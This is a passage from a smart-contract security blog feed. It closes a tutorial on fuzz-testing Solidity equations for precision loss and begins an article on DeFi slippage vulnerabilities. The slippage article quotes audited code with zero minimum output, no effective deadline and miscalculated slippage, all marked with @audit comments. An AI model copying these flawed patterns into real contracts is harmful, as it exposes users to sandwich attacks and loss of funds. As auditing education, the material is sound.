                console2.log(<span class="hljs-string">"mplDaiAmount     : "</span>, mplDaiAmount);
            }            
        }

    }
}
</code></pre>
<h3 id="heading-create-the-invariant-fuzz-test">Create The Invariant Fuzz Test</h3>
<p>Secondly we'll create the actual test itself <em>test/InvariantPrecisionLoss.t.sol</em> which creates &amp; sets up the handler and defines the invariant to be tested. Please note this is using v1.5.5 of forge-std; if this doesn't compile please update if you are using an older version as there were <a target="_blank" href="https://github.com/foundry-rs/forge-std/commit/b4f121555729b3afb3c5ffccb62ff4b6e2818fd3">invariant-related breaking changes</a>.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">PrecisionLoss</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/PrecisionLoss.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">InvariantPrecisionLossHandler</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./InvariantPrecisionLossHandler.sol"</span>;

<span class="hljs-keyword">import</span> {<span class="hljs-title">console2</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/console2.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">Test</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Test.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">InvariantPrecisionLossTest</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Test</span> </span>{
    <span class="hljs-comment">// real contract</span>
    PrecisionLoss  <span class="hljs-keyword">internal</span> _underlying;
    <span class="hljs-comment">// handler which exposes real contract</span>
    InvariantPrecisionLossHandler <span class="hljs-keyword">internal</span> _handler;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUp</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        _underlying <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> PrecisionLoss();
        _handler    <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> InvariantPrecisionLossHandler(_underlying);

        <span class="hljs-comment">// invariant fuzz targets _handler contract</span>
        targetContract(<span class="hljs-keyword">address</span>(_handler));

        <span class="hljs-comment">// functions to target during invariant tests</span>
        <span class="hljs-keyword">bytes4</span>[] <span class="hljs-keyword">memory</span> selectors <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">bytes4</span>[](<span class="hljs-number">1</span>);
        selectors[<span class="hljs-number">0</span>] <span class="hljs-operator">=</span> _handler.ussdAmountToBuy.<span class="hljs-built_in">selector</span>;

        targetSelector(FuzzSelector({
            addr: <span class="hljs-keyword">address</span>(_handler),
            selectors: selectors
        }));
    }

    <span class="hljs-comment">// invariant: original output not 0. We want to see if</span>
    <span class="hljs-comment">// there is a set of inputs where the original equation</span>
    <span class="hljs-comment">// originalOutput == 0 but the simplified equation &gt; 0</span>
    <span class="hljs-comment">// Setting this invariant makes foundry try to break it </span>
    <span class="hljs-comment">// which dramatically increases the efficiency of the fuzz test</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">invariant_originalOutputNotZero</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> </span>{
        <span class="hljs-built_in">assert</span>(_handler.originalOutput() <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>);
    }
}
</code></pre>
<h3 id="heading-run-invariant-fuzz-test-to-obtain-optimal-exploit-inputs">Run Invariant Fuzz Test To Obtain Optimal Exploit Inputs</h3>
<p>We can run this test: <em>forge test --match-test invariant_originalOutputNotZero -vvv</em> (using forge 0.2.0 a26edce 2023-05-25T00:04:00.488745146Z or later as there were breaking changes where --match became --match-test) which very quickly finds a set of inputs that:</p>
<ol>
<li><p>create a precision loss between the original &amp; simplified equations,</p>
</li>
<li><p>results in the original == 0 but the simplified &gt; 0</p>
</li>
</ol>
<p>Here are two sets of inputs from the fuzzing runs which achieve these goals:</p>
<pre><code class="lang-solidity">originalOutput   :  <span class="hljs-number">0</span>
simplifiedOutput :  <span class="hljs-number">500000000000</span>
maxPrecisionLoss :  <span class="hljs-number">500000000000</span>
mplUssdAmount    :  <span class="hljs-number">1000001</span>
mplDaiAmount     :  <span class="hljs-number">1000000000000000002</span>

originalOutput   :  <span class="hljs-number">0</span>
simplifiedOutput :  <span class="hljs-number">500000000000</span>
maxPrecisionLoss :  <span class="hljs-number">500000000000</span>
mplUssdAmount    :  <span class="hljs-number">1000000000000000</span>
mplDaiAmount     :  <span class="hljs-number">999999999999999999999999999</span>
</code></pre>
<h3 id="heading-improving-the-simplified-equation">Improving The Simplified Equation</h3>
<p>Let us now consider our simplified equation:</p>
<pre><code class="lang-solidity">(ussdAmount <span class="hljs-operator">-</span> daiAmount <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>) <span class="hljs-operator">*</span> <span class="hljs-number">1e12</span> <span class="hljs-operator">/</span> <span class="hljs-number">2</span>
</code></pre>
<p>There is still an initial division where daiAmount is divided by 1e12; this is required as ussdAmount has 6 decimal places while daiAmount has 18 decimal places, so they must be <a target="_blank" href="https://dacian.me/precision-loss-errors#heading-no-precision-scaling">scaled into the same precision</a> before being combined. However this can introduce another source of precision loss, since the result is then multiplied again.</p>
<p>Instead of scaling <em>daiAmount</em> down, another alternative is to scale <em>ussdAmount</em> up; let's pursue this approach and see if we can make even further improvements. Add this new function to <em>src/PrecisionLoss.sol</em>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ussdImprovedAmountToBuy</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> ussdAmount, <span class="hljs-keyword">uint</span> daiAmount</span>) 
    <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{        
    <span class="hljs-comment">// @audit 1e12 / 2 can be simplified to * 5e11</span>
    <span class="hljs-comment">// = (ussdAmount - daiAmount / 1e12) * 5e11</span>
    <span class="hljs-comment">// to remove / 1e12, multiply everything by 1e12 / 1e12</span>
    <span class="hljs-comment">// = (1e12*ussdAmount - daiAmount) / 1e12 * 5e11</span>
    <span class="hljs-comment">// finally / 1e12 * 5e11 can be rewritten as * 5e11 / 1e12</span>
    <span class="hljs-comment">// = (1e12*ussdAmount - daiAmount) * 5e11 / 1e12</span>
    <span class="hljs-keyword">return</span> (<span class="hljs-number">1e12</span><span class="hljs-operator">*</span>ussdAmount <span class="hljs-operator">-</span> daiAmount) <span class="hljs-operator">*</span> <span class="hljs-number">5e11</span> <span class="hljs-operator">/</span> <span class="hljs-number">1e12</span>;
}
</code></pre>
<p>This improved equation now scales ussdAmount up, performs the subtraction, then performs multiplication and finally division; we have completely removed any division before multiplication.</p>
<h3 id="heading-use-stateless-fuzz-test-to-verify-improved-equation">Use StateLess Fuzz Test To Verify Improved Equation</h3>
<p>To verify whether our improved equation is better than our simplified equation, we'll add this stateless fuzz test to <em>test/InvariantPrecisionLoss.t.sol:</em></p>
<pre><code class="lang-solidity"><span class="hljs-comment">// stateless fuzz test to check if improved version retains</span>
<span class="hljs-comment">// more precision than the simplified version, and to</span>
<span class="hljs-comment">// compare all 3 versions (original, simplified, improved)</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testUssdImprovedAmountToBuy</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> uusdAmount, <span class="hljs-keyword">uint</span> daiAmount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-comment">// constrain inputs between $1 &amp; $1B in their respective precision </span>
    <span class="hljs-comment">// ranges</span>
    uusdAmount <span class="hljs-operator">=</span> bound(uusdAmount, <span class="hljs-number">1e6</span> , <span class="hljs-number">1000000000e6</span> );
    daiAmount  <span class="hljs-operator">=</span> bound(daiAmount , <span class="hljs-number">1e18</span>, <span class="hljs-number">1000000000e18</span>);

    <span class="hljs-comment">// requirement of the functions being tested</span>
    vm.assume(uusdAmount <span class="hljs-operator">&gt;</span> daiAmount<span class="hljs-operator">/</span><span class="hljs-number">1e12</span>);

    <span class="hljs-comment">// run original, simplified &amp; improved functions</span>
    <span class="hljs-keyword">uint</span> originalOutput   <span class="hljs-operator">=</span> _underlying.ussdOriginalAmountToBuy(uusdAmount, daiAmount);
    <span class="hljs-keyword">uint</span> simplifiedOutput <span class="hljs-operator">=</span> _underlying.ussdSimplifiedAmountToBuy(uusdAmount, daiAmount);
    <span class="hljs-keyword">uint</span> improvedOutput   <span class="hljs-operator">=</span> _underlying.ussdImprovedAmountToBuy(uusdAmount, daiAmount);

    console2.log(<span class="hljs-string">"uusdAmount       : "</span>, uusdAmount);
    console2.log(<span class="hljs-string">"daiAmount        : "</span>, daiAmount);
    console2.log(<span class="hljs-string">"originalOutput   : "</span>, originalOutput);
    console2.log(<span class="hljs-string">"simplifiedOutput : "</span>, simplifiedOutput);
    console2.log(<span class="hljs-string">"improvedOutput   : "</span>, improvedOutput);

    <span class="hljs-comment">// fail the test if the improved &amp; simplified outputs don't match</span>
    assertEq(simplifiedOutput, improvedOutput); 
}
</code></pre>
<p>Before running this test we want to add the following to <em>foundry.toml</em> to increase the amount of fuzz testing runs:</p>
<pre><code class="lang-solidity">[fuzz]
runs <span class="hljs-operator">=</span> <span class="hljs-number">100000</span>
max_local_rejects <span class="hljs-operator">=</span> <span class="hljs-number">999999999</span>                            
max_test_rejects <span class="hljs-operator">=</span> <span class="hljs-number">999999999</span>
</code></pre>
<p>Then run the test: <em>forge test --match-test testUssdImprovedAmountToBuy -vvv</em></p>
<p>After a few runs we can see that the improved version works even better than the simplified version, here are some run outputs:</p>
<pre><code class="lang-solidity">uusdAmount       :  <span class="hljs-number">1000001</span>
daiAmount        :  <span class="hljs-number">1000000000000000001</span>
originalOutput   :  <span class="hljs-number">0</span>
simplifiedOutput :  <span class="hljs-number">500000000000</span>
improvedOutput   :  <span class="hljs-number">499999999999</span>

uusdAmount       :  <span class="hljs-number">999999999000005</span>
daiAmount        :  <span class="hljs-number">1000000000000000001</span>
originalOutput   :  <span class="hljs-number">499999999000002000000000000</span>
simplifiedOutput :  <span class="hljs-number">499999999000002500000000000</span>
improvedOutput   :  <span class="hljs-number">499999999000002499999999999</span>

uusdAmount       :  <span class="hljs-number">999999999003061</span>
daiAmount        :  <span class="hljs-number">999999999000000000000001942</span>
originalOutput   :  <span class="hljs-number">1530000000000000</span>
simplifiedOutput :  <span class="hljs-number">1530500000000000</span>
improvedOutput   :  <span class="hljs-number">1530499999999029</span>
</code></pre>
<p>We have now verified that the improved form of our equation which completely removes all division before multiplication preserves even more precision than our initial simplified form.</p>
<h3 id="heading-verifying-correctness-of-simplified-equations">Verifying Correctness Of Simplified Equations</h3>
<p>Sometimes although there is division before multiplication no precision loss will occur. In such cases it is still preferable to replace the original implementation with the simplified version which is more efficient and easier to understand. The same approach previously outlined can be very helpful for developers in refactoring their equations into simplified forms while ensuring correctness via automated fuzz testing. Consider this equation from <a target="_blank" href="https://github.com/sherlock-audit/2023-05-USSD/blob/main/ussd-contracts/contracts/USSD.sol#L182-L190">USSD.collateralFactor()</a>:</p>
<pre><code class="lang-solidity">totalAssetsUSD <span class="hljs-operator">+</span><span class="hljs-operator">=</span>
    (((IERC20Upgradeable(collateral[i].token).balanceOf(
        <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)
    ) <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span>) <span class="hljs-operator">/</span>
        (<span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span>
            IERC20MetadataUpgradeable(collateral[i].token)
                .decimals())) <span class="hljs-operator">*</span>
        collateral[i].oracle.getPriceUSD()) <span class="hljs-operator">/</span>
    <span class="hljs-number">1e18</span>;
</code></pre>
<p>One technique to use immediately with such equations is to rename the definitions to more easily see what is going on. We'll add 2 more functions to <em>src/PrecisionLoss.sol</em> to contain the original &amp; simplified version of this equation:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ussdOriginalTotalAssets</span>(<span class="hljs-params">
    <span class="hljs-keyword">uint</span> balance, <span class="hljs-keyword">uint</span> decimals, <span class="hljs-keyword">uint</span> priceFiat</span>) 
    <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-keyword">return</span> (balance <span class="hljs-operator">*</span> <span class="hljs-number">1e18</span> <span class="hljs-operator">/</span> (<span class="hljs-number">10</span><span class="hljs-operator">*</span><span class="hljs-operator">*</span>decimals)) <span class="hljs-operator">*</span> priceFiat <span class="hljs-operator">/</span> <span class="hljs-number">1e18</span>;
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">ussdSimplifiedTotalAssets</span>(<span class="hljs-params">
    <span class="hljs-keyword">uint</span> balance, <span class="hljs-keyword">uint</span> decimals, <span class="hljs-keyword">uint</span> priceFiat</span>) 
    <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint</span></span>) </span>{
    <span class="hljs-comment">// (balance * 1e18 / (10**decimals)) * priceFiat / 1e18;</span>
    <span class="hljs-comment">// 1) multiplying and dividing by 1e18 cancel out:</span>
    <span class="hljs-comment">// (balance / (10**decimals)) * priceFiat</span>
    <span class="hljs-comment">// 2) change order of operations to do multiplication first</span>
    <span class="hljs-keyword">return</span> balance <span class="hljs-operator">*</span> priceFiat <span class="hljs-operator">/</span> (<span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> decimals);
}
</code></pre>
<p>In this project <em>balance</em> can be either 18 or 8 decimal points, so we'll add a couple of simple stateless fuzz testing functions to <em>test/InvariantPrecisionLoss.t.sol:</em></p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testUssdTotalAssets18D</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> balance, <span class="hljs-keyword">uint</span> priceFiat</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint</span> decimals <span class="hljs-operator">=</span> <span class="hljs-number">18</span>;
    <span class="hljs-comment">// constrain inputs between $1 &amp; $1B in their respective precision ranges</span>
    balance       <span class="hljs-operator">=</span> bound(balance  , <span class="hljs-number">1e18</span>, <span class="hljs-number">1000000000e18</span>);
    priceFiat     <span class="hljs-operator">=</span> bound(priceFiat, <span class="hljs-number">1e18</span>, <span class="hljs-number">1000000000e18</span>);

    <span class="hljs-keyword">uint</span> originalOutput   <span class="hljs-operator">=</span> _underlying.ussdOriginalTotalAssets(balance, decimals, priceFiat);
    <span class="hljs-keyword">uint</span> simplifiedOutput <span class="hljs-operator">=</span> _underlying.ussdSimplifiedTotalAssets(balance, decimals, priceFiat);

    assertEq(originalOutput, simplifiedOutput); 
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">testUssdTotalAssets8D</span>(<span class="hljs-params"><span class="hljs-keyword">uint</span> balance, <span class="hljs-keyword">uint</span> priceFiat</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
    <span class="hljs-keyword">uint</span> decimals <span class="hljs-operator">=</span> <span class="hljs-number">8</span>;
    <span class="hljs-comment">// constrain inputs between $1 &amp; $1B in their respective precision ranges</span>
    balance       <span class="hljs-operator">=</span> bound(balance  , <span class="hljs-number">1e8</span>,  <span class="hljs-number">1000000000e8</span>);
    priceFiat     <span class="hljs-operator">=</span> bound(priceFiat, <span class="hljs-number">1e18</span>, <span class="hljs-number">1000000000e18</span>);

    <span class="hljs-keyword">uint</span> originalOutput   <span class="hljs-operator">=</span> _underlying.ussdOriginalTotalAssets(balance, decimals, priceFiat);
    <span class="hljs-keyword">uint</span> simplifiedOutput <span class="hljs-operator">=</span> _underlying.ussdSimplifiedTotalAssets(balance, decimals, priceFiat);

    assertEq(originalOutput, simplifiedOutput); 
}
</code></pre>
<p>Then run the tests: <em>forge test --match-test testUssdTotalAssets</em></p>
<p>And the stateless fuzz tests do a great job of verifying that our simplified equation produces the same output as the original version.</p>
]]></content:encoded></item><item><title><![CDATA[DeFi Slippage Attacks]]></title><description><![CDATA[Slippage refers to the price difference between when a market participant submits a DeFi swap trade and the actual price when that trade executes. This difference is usually negligible but can be significant during times of high volatility and for to...]]></description><link>https://dacian.me/defi-slippage-attacks</link><guid isPermaLink="true">https://dacian.me/defi-slippage-attacks</guid><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Ethereum]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[defi]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Tue, 02 May 2023 12:34:21 GMT</pubDate><content:encoded><![CDATA[<p>Slippage refers to the price difference between when a market participant submits a DeFi swap trade and the actual price when that trade executes. This difference is usually negligible but can be significant during times of high volatility and for tokens that have low liquidity. Slippage can result in the user receiving more or (often) fewer tokens than they would have otherwise received if the trade had been instantaneous.</p>
<p>DeFi platforms should allow users to specify a slippage parameter "minTokensOut" minimum amount of output tokens to be received from the swap, such that the swap will revert if it wouldn't return the user-specified minimum amount of output tokens. There are several common implementation errors in DeFi systems that developers &amp; auditors should look out for.</p>
<h3 id="heading-no-slippage-parameter">No Slippage Parameter</h3>
<p>DeFi platforms must allow users to specify a slippage parameter: the minimum amount of tokens they want to be returned from a swap. Auditors should always be on the lookout for swaps which set slippage to 0:</p>
<pre><code class="lang-solidity">IUniswapRouterV2(SUSHI_ROUTER).swapExactTokensForTokens(
    toSwap,
    <span class="hljs-number">0</span>, <span class="hljs-comment">// @audit min return 0 tokens; no slippage =&gt; user loss of funds</span>
    path,
    <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
    <span class="hljs-built_in">now</span>
);
</code></pre>
<p>This <a target="_blank" href="https://github.com/code-423n4/2021-09-bvecvx-findings/issues/57">code</a> tells the swap that the user will accept a minimum amount of 0 output tokens from the swap, opening up the user to a catastrophic loss of funds via <a target="_blank" href="https://medium.com/coinmonks/defi-sandwich-attack-explain-776f6f43b2fd">MEV bot sandwich attacks</a>. Platforms should also provide a sensible default if the user doesn't specify a value, but user-specified slippage parameters must always override platform defaults. More examples: [<a target="_blank" href="https://code4rena.com/reports/2022-05-rubicon/#h-07-rubiconrouterswapentirebalance-doesnt-handle-the-slippage-check-properly">1</a>, <a target="_blank" href="https://code4rena.com/reports/2021-11-vader#h-31-unused-slippage-params">2</a>, <a target="_blank" href="https://solodit.xyz/issues/10773">3</a>, <a target="_blank" href="https://code4rena.com/reports/2021-10-mochi#h-12-feepool-is-vulnerable-to-sandwich-attack">4</a>, <a target="_blank" href="https://code4rena.com/reports/2021-07-spartan#h-07-missing-slippage-checks">5</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-01-derby-judging/issues/107">6</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-blueberry-judging/issues/130">7</a>, <a target="_blank" href="https://solodit.xyz/issues/9806">8</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-01-uxd-judging/issues/429">9</a>, <a target="_blank" href="https://solodit.xyz/issues/7096">10</a>, <a target="_blank" href="https://solodit.xyz/issues/7044">11</a>, <a target="_blank" href="https://solodit.xyz/issues/10127">12</a>, <a target="_blank" href="https://code4rena.com/reports/2022-05-alchemix#m-04-yearntokenadapter-allows-a-maximum-loss-of-100-when-withdrawing">13</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-connext#m-20-in-reimburseliquidityfees-of-sponservault-contract-swaps-tokens-without-slippage-limit-so-its-possible-to-perform-sandwich-attack-and-it-create-mev">14</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-badger/#m-01-_harvest-has-no-slippage-protection-when-swapping-aurabal-for-aura--">15</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-illuminate/#m-12-sandwich-attacks-are-possible-as-there-is-no-slippage-control-option-in-marketplace-and-in-lender-yield-swaps">16</a>, <a target="_blank" href="https://code4rena.com/reports/2021-12-vader#m-01-vaderpoolv2mintfungible-exposes-users-to-unlimited-slippage">17</a>, <a target="_blank" href="https://code4rena.com/reports/2022-01-notional/#m-02-snotesol_mintfromassets-lack-of-slippage-control">18</a>, <a target="_blank" href="https://code4rena.com/reports/2022-01-behodler#m-14-uniswaphelperbuyflanandburn-is-a-subject-to-sandwich-attacks">19</a>, <a target="_blank" href="https://code4rena.com/reports/2022-04-backd#m-04-cvxcrvrewardslocker-implements-a-swap-without-a-slippage-check-that-can-result-in-a-loss-of-funds-through-mev">20</a>, <a target="_blank" href="https://consensys.net/diligence/audits/2022/05/brahma-fi/#harvesterharvest-swaps-have-no-slippage-parameters">21</a>, <a target="_blank" href="https://code4rena.com/reports/2021-10-mochi#m-02-regerralfeepool-is-vulnerable-to-mev-searcher">22</a>, <a target="_blank" href="https://solodit.xyz/issues/10228">23</a>, <a target="_blank" href="https://solodit.xyz/issues/10264">24</a>, <a target="_blank" href="https://code4rena.com/reports/2021-11-badgerzaps#m-05-no-slippage-control-on-deposit-of-ibbtcvaultzapsol">25</a>, <a target="_blank" href="https://code4rena.com/reports/2021-11-badgerzaps#m-01-improper-implementation-of-slippage-check">26</a>, <a target="_blank" href="https://code4rena.com/reports/2021-11-malt#m-02-frontrunning-in-uniswaphandler-calls-to-uniswapv2router">27</a>, <a target="_blank" href="https://solodit.xyz/issues/9025">28</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/124">29</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-gmx-judging/issues/138">30</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-gmx-judging/issues/144">31</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-gmx-judging/issues/159">32</a>]</p>
<h3 id="heading-no-expiration-deadline">No Expiration Deadline</h3>
<p>Advanced protocols like Automated Market Makers (AMMs) can allow users to specify a deadline parameter that enforces a time limit by which the transaction must be executed. Without a deadline parameter, the transaction may sit in the mempool and be executed at a much later time potentially resulting in a worse price for the user.</p>
<p>Protocols <a target="_blank" href="https://code4rena.com/reports/2022-11-paraspace#m-13-interactions-with-amms-do-not-use-deadlines-for-operations">shouldn't set the deadline to block.timestamp</a> as a validator can hold the transaction and the block it is eventually put into will be <code>block.timestamp</code>, so this offers no protection.</p>
<p>Protocols should allow users interacting with AMMs to set expiration deadlines; <a target="_blank" href="https://github.com/sherlock-audit/2023-01-ajna-judging/issues/39">no expiration deadline</a> may create a potential critical loss of funds vulnerability for any user initiating a swap, especially if there is also no slippage parameter. Examine this high severity <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/145">finding</a> from Sherlock's BlueBerry Update 1 contest:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// 2. Swap rewards tokens to debt token</span>
<span class="hljs-keyword">uint256</span> rewards <span class="hljs-operator">=</span> _doCutRewardsFee(CRV);
_ensureApprove(CRV, <span class="hljs-keyword">address</span>(swapRouter), rewards);
swapRouter.swapExactTokensForTokens(
    rewards,
    <span class="hljs-number">0</span>, <span class="hljs-comment">// @audit no slippage, can receive 0 output tokens</span>
    swapPath,
    <span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>),
    <span class="hljs-keyword">type</span>(<span class="hljs-keyword">uint256</span>).<span class="hljs-built_in">max</span> <span class="hljs-comment">// @audit no deadline, transaction can </span>
    <span class="hljs-comment">// be executed later at more unfavorable time</span>
);
</code></pre>
<p>Here "minTokensOut" is hard-coded to 0 so the swap can potentially return 0 output tokens, and the deadline parameter is hard-coded to the max value of utint256, so the transaction can be held &amp; executed at a much later &amp; more unfavorable time to the user. This combination of No Slippage &amp; No Deadline exposes the user to the potential loss of all their input tokens! More examples: [<a target="_blank" href="https://github.com/sherlock-audit/2023-02-bond-judging/issues/60">1</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-canto-v2/#m-01-stableswap---deadline-do-not-work">2</a>, <a target="_blank" href="https://code4rena.com/reports/2022-12-caviar/#m-01-missing-deadline-checks-allow-pending-transactions-to-be-maliciously-executed">3</a>, <a target="_blank" href="https://code4rena.com/reports/2022-12-backed#m-01-missing-deadline-checks-allow-pending-transactions-to-be-maliciously-executed">4</a>, <a target="_blank" href="https://code4rena.com/reports/2022-06-badger/#m-01-_harvest-has-no-slippage-protection-when-swapping-aurabal-for-aura--">5</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/121">6</a>]</p>
<h3 id="heading-incorrect-slippage-calculation">Incorrect Slippage Calculation</h3>
<p>The slippage parameter should be something like "minTokensOut" - the minimum amount of tokens the user will accept for the swap. Anything else is a red flag to watch out for as it will likely constitute an <a target="_blank" href="https://solodit.xyz/issues/10777">incorrect slippage parameter</a>. Consider this simplified <a target="_blank" href="https://github.com/OriginProtocol/origin-dollar/blob/bf4ff28d5944ecc277e66294fd2c702fee5cd58b/contracts/contracts/strategies/ThreePoolStrategy.sol#L204">code</a> from OpenZeppelin's Origin Dollar Audit:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">withdraw</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _recipient, <span class="hljs-keyword">address</span> _asset, <span class="hljs-keyword">uint256</span> _amount
</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyVault</span> <span class="hljs-title">nonReentrant</span> </span>{
    <span class="hljs-comment">// ...</span>

    <span class="hljs-comment">// Calculate how much of the pool token we need to withdraw</span>
    (<span class="hljs-keyword">uint256</span> contractPTokens, , <span class="hljs-keyword">uint256</span> totalPTokens) <span class="hljs-operator">=</span> _getTotalPTokens();

    <span class="hljs-keyword">uint256</span> poolCoinIndex <span class="hljs-operator">=</span> _getPoolCoinIndex(_asset);
    <span class="hljs-comment">// Calculate the max amount of the asset we'd get if we withdrew all the</span>
    <span class="hljs-comment">// platform tokens</span>
    ICurvePool curvePool <span class="hljs-operator">=</span> ICurvePool(platformAddress);
    <span class="hljs-keyword">uint256</span> maxAmount <span class="hljs-operator">=</span> curvePool.calc_withdraw_one_coin(
        totalPTokens,
        <span class="hljs-keyword">int128</span>(poolCoinIndex)
    );

    <span class="hljs-comment">// Calculate how many platform tokens we need to withdraw the asset amount</span>
    <span class="hljs-keyword">uint256</span> withdrawPTokens <span class="hljs-operator">=</span> totalPTokens.mul(_amount).div(maxAmount);

    <span class="hljs-comment">// Calculate a minimum withdrawal amount</span>
    <span class="hljs-keyword">uint256</span> assetDecimals <span class="hljs-operator">=</span> Helpers.getDecimals(_asset);
    <span class="hljs-comment">// 3crv is 1e18, subtract slippage percentage and scale to asset</span>
    <span class="hljs-comment">// decimals</span>
    <span class="hljs-comment">// @audit not using user-provided _amount, but calculating a non-sensical</span>
    <span class="hljs-comment">// value based on the LP tokens</span>
    <span class="hljs-keyword">uint256</span> minWithdrawAmount <span class="hljs-operator">=</span> withdrawPTokens
        .mulTruncate(<span class="hljs-keyword">uint256</span>(<span class="hljs-number">1e18</span>).sub(maxSlippage))
        .scaleBy(<span class="hljs-keyword">int8</span>(assetDecimals <span class="hljs-operator">-</span> <span class="hljs-number">18</span>));

    curvePool.remove_liquidity_one_coin(
        withdrawPTokens,
        <span class="hljs-keyword">int128</span>(poolCoinIndex),
        minWithdrawAmount
    );

    <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>And the <a target="_blank" href="https://github.com/OriginProtocol/origin-dollar/pull/716/files">fixed version</a> after the audit:</p>
<pre><code class="lang-solidity">curvePool.remove_liquidity_one_coin(
    withdrawPTokens,
    <span class="hljs-keyword">int128</span>(poolCoinIndex),
    _amount
);
</code></pre>
<p>Every <a target="_blank" href="https://www.cyfrin.io/">smart contract auditor</a> should keep an eye out for any out-of-the-ordinary modifications that protocols make to user-specified slippage parameters. More examples: [<a target="_blank" href="https://code4rena.com/reports/2021-04-vader#h-15-wrong-slippage-protection-on-token---token-trades">1</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional-judging/issues/12">2</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional-judging/issues/10">3</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-01-illuminate-judging/issues/16">4</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-02-notional-judging/issues/18">5</a>, <a target="_blank" href="https://github.com/sherlock-audit/2022-10-rage-trade-judging/issues/39">6</a>, <a target="_blank" href="https://solodit.xyz/issues/7240">7</a>, <a target="_blank" href="https://code4rena.com/reports/2022-02-redacted-cartel#m-05-wrong-slippage-check">8</a>, <a target="_blank" href="https://github.com/sherlock-audit/2023-04-blueberry-judging/issues/131">9</a>]</p>
<h3 id="heading-mismatched-slippage-precision">Mismatched Slippage Precision</h3>
